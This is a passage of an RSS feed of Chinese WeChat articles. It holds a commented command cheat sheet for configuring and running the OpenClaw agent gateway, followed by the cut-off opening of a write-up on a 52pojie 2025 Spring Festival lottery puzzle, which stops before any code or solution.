leaf="">58</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">59</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">60</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">61</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">62</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">63</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">64</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">65</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">66</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">67</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">68</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">69</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">70</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">71</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">72</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">73</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">74</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">75</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">76</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">77</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">78</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">79</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">80</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">81</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">82</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">83</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">84</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">85</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">86</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">87</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">88</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">89</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">90</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">91</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">92</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">93</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">94</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">95</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">96</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">97</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">98</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">99</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">100</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">101</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">102</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">103</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">104</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">105</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">106</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">107</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span style="color: #d6baad;"><span leaf=""># ============ 初始化与配置 ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 首次安装引导</span></span><span leaf=""><br/></span><span leaf="">openclaw onboard</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 交互式配置（凭证、设备、模型）</span></span><span leaf=""><br/></span><span leaf="">openclaw configure</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 初始化配置文件和workspace</span></span><span leaf=""><br/></span><span leaf="">openclaw setup</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 读配置（点路径）</span></span><span leaf=""><br/></span><span leaf="">openclaw config get agents.defaults.extraSystemPrompt</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 写配置</span></span><span leaf=""><br/></span><span leaf="">openclaw config</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> agents.defaults.extraSystemPrompt</span><span style="color: #889b4a;"><span leaf=""> &#34;你的prompt内容&#34;</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 写JSON格式配置</span></span><span leaf=""><br/></span><span leaf="">openclaw config</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> channels.feishu</span><span style="color: #889b4a;"><span leaf=""> &#39;{&#34;enabled&#34;:true,&#34;appId&#34;:&#34;cli_xxx&#34;}&#39;</span></span><span leaf=""> --json</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 删配置</span></span><span leaf=""><br/></span><span leaf="">openclaw config</span><span style="color: #f79a32;"><span leaf=""> unset</span></span><span leaf=""> agents.defaults.extraSystemPrompt</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ Gateway 控制 ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 启动Gateway（前台）</span></span><span leaf=""><br/></span><span leaf="">openclaw gateway --port 18789</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 重启（通过LaunchAgent）</span></span><span leaf=""><br/></span><span leaf="">openclaw gateway restart</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 健康检查</span></span><span leaf=""><br/></span><span leaf="">openclaw health</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 查看日志</span></span><span leaf=""><br/></span><span leaf="">openclaw logs</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 查看渠道状态和最近会话</span></span><span leaf=""><br/></span><span leaf="">openclaw status</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 安全审计</span></span><span leaf=""><br/></span><span leaf="">openclaw security audit</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 打开控制台Web UI</span></span><span leaf=""><br/></span><span leaf="">openclaw dashboard</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ LaunchAgent 守护进程 ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 安装守护进程（自动生成plist）</span></span><span leaf=""><br/></span><span leaf="">openclaw daemon install</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 注册并启动</span></span><span leaf=""><br/></span><span leaf="">launchctl bootstrap gui/$(</span><span style="color: #f79a32;"><span leaf="">id</span></span><span leaf=""> -u) ~/Library/LaunchAgents/ai.openclaw.gateway.plist</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 卸载</span></span><span leaf=""><br/></span><span leaf="">launchctl bootout gui/$(</span><span style="color: #f79a32;"><span leaf="">id</span></span><span leaf=""> -u)/ai.openclaw.gateway</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 原地重启（最常用，`kickstart -k` 的 `-k` 是 kill existing instance，相当于先杀后拉）</span></span><span leaf=""><br/></span><span leaf="">launchctl kickstart -k gui/$(</span><span style="color: #f79a32;"><span leaf="">id</span></span><span leaf=""> -u)/ai.openclaw.gateway</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 看日志（直接读文件）</span></span><span leaf=""><br/></span><span style="color: #f79a32;"><span leaf="">tail</span></span><span leaf=""> -f ~/.openclaw/logs/gateway.log</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 打补丁后重启</span></span><span leaf=""><br/></span><span leaf="">bash ~/.openclaw/patches/apply-patches.sh &amp;&amp; launchctl kickstart -k gui/$(</span><span style="color: #f79a32;"><span leaf="">id</span></span><span leaf=""> -u)/ai.openclaw.gateway</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ 模型管理 ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 查看当前模型配置（默认、fallback、别名、认证）</span></span><span leaf=""><br/></span><span leaf="">openclaw models</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 设置默认模型</span></span><span leaf=""><br/></span><span leaf="">openclaw models</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> zai/glm-4.7</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 管理fallback链</span></span><span leaf=""><br/></span><span leaf="">openclaw models fallbacks</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 管理别名</span></span><span leaf=""><br/></span><span leaf="">openclaw models aliases</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 添加模型认证（交互式，支持API key/OAuth/setup-token）</span></span><span leaf=""><br/></span><span leaf="">openclaw models auth add</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 登录GitHub Copilot（设备码流程）</span></span><span leaf=""><br/></span><span leaf="">openclaw models auth login-github-copilot</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ 插件与Skills ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 列出已加载插件</span></span><span leaf=""><br/></span><span leaf="">openclaw plugins list</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 安装插件</span></span><span leaf=""><br/></span><span leaf="">openclaw plugins install openai</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 启用/禁用插件</span></span><span leaf=""><br/></span><span leaf="">openclaw plugins</span><span style="color: #f79a32;"><span leaf=""> enable</span></span><span leaf=""> &lt;</span><span style="color: #f79a32;"><span leaf="">id</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span leaf="">openclaw plugins</span><span style="color: #f79a32;"><span leaf=""> disable</span></span><span leaf=""> &lt;</span><span style="color: #f79a32;"><span leaf="">id</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 插件健康检查</span></span><span leaf=""><br/></span><span leaf="">openclaw plugins doctor</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 列出已加载skills</span></span><span leaf=""><br/></span><span leaf="">openclaw skills list</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 查看skill详情</span></span><span leaf=""><br/></span><span leaf="">openclaw skills info notion</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ 消息与Agent ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 发消息到指定渠道</span></span><span leaf=""><br/></span><span leaf="">openclaw message send --channel feishu --target &lt;chat_id&gt; --message</span><span style="color: #889b4a;"><span leaf=""> &#34;内容&#34;</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 直接调用agent并投递回复</span></span><span leaf=""><br/></span><span leaf="">openclaw agent --to &lt;target&gt; --message</span><span style="color: #889b4a;"><span leaf=""> &#34;任务描述&#34;</span></span><span leaf=""> --deliver</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 列出历史会话</span></span><span leaf=""><br/></span><span leaf="">openclaw sessions</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ 记忆系统 ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 查看记忆索引状态</span></span><span leaf=""><br/></span><span leaf="">openclaw memory status</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 重建索引</span></span><span leaf=""><br/></span><span leaf="">openclaw memory index</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 搜索记忆</span></span><span leaf=""><br/></span><span leaf="">openclaw memory search</span><span style="color: #889b4a;"><span leaf=""> &#34;关键词&#34;</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ 渠道管理 ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 渠道总览</span></span><span leaf=""><br/></span><span leaf="">openclaw channels</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 登录WhatsApp Web（显示二维码）</span></span><span leaf=""><br/></span><span leaf="">openclaw channels login --verbose</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># ============ 其他 ============</span></span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 管理内置浏览器</span></span><span leaf=""><br/></span><span leaf="">openclaw browser</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 定时任务</span></span><span leaf=""><br/></span><span leaf="">openclaw cron</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># CLI更新</span></span><span leaf=""><br/></span><span leaf="">openclaw update</span><span leaf=""><br/></span><span style="color: #d6baad;"><span leaf=""># 看配置文件</span></span><span leaf=""><br/></span><span style="color: #f79a32;"><span leaf="">cat</span></span><span leaf=""> ~/.openclaw/openclaw.json</span><span leaf=""><br/></span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">最后：排查问题时 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">console.log</span></code><span leaf=""> 比 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">log.debug</span></code><span leaf=""> 好使，前者直接输出到 gateway.log，后者受日志级别控制可能被吞。建议先 curl 直接打 API 确认参数和响应格式，再回头对比 OpenClaw 的行为，能快速判断问题出在参数透传还是模型本身。</span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1db59710&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486714%26idx%3D1%26sn%3D7fdfb53753b2f3a17e0f4f6733dc9f02">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 03 Feb 2026 07:38:00 +0800</pubDate>
    </item>
    <item>
      <title>吾爱破解2025春节红包活动番外篇第三题</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486686&amp;idx=1&amp;sn=42a02562f9e7065c4d57cda66300e2be</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>浮萍</span> <span>2025-02-14 07:14</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=dc5ded9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MU3QXSQXNQcljwicmD7ziaNQcX6XpWvWQUzsLn8E9DEibDCA4vx3PBd4tvnjENuenOVNXf2ibDQWDfNlg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin-bottom: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);font-size: 0px;line-height: 0;"> </p><section style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-size: 14px;letter-spacing: normal;background-color: rgb(255, 255, 255);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><blockquote style="border-width: 0px 0px 0px 4px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-left-color: rgb(0, 152, 116);margin-top: 0px;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(63, 63, 63);">字数 1187，阅读大约需 6 分钟</p></blockquote><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x00 前言</h2><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">番外篇第三题刚开始是有难度的，玩家会相互干扰，想要获取flag，还是需要靠一点运气的。后面修改了难度，分 IP 抽奖，互相不干扰了。难度就降低了不少。</p><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x01 分析</h2><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">第三题是抽奖的，地址：<a href="https://2025challenge.52pojie.cn/lottery.html" target="_blank">https://2025challenge.52pojie.cn/lottery.html</a> ，看一下题目。</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="要求" class="rich_pages wxw-img" data-imgfileid="100003031" data-ratio="0.5268518518518519" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6f7a1e1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MU3QXSQXNQcljwicmD7ziaNQcJDQzdGso6LFv4tficpZYIWMnT4tyHeRRfU4kBBLibrliaUKCB2uB8emjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">抽奖算法也给出了</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 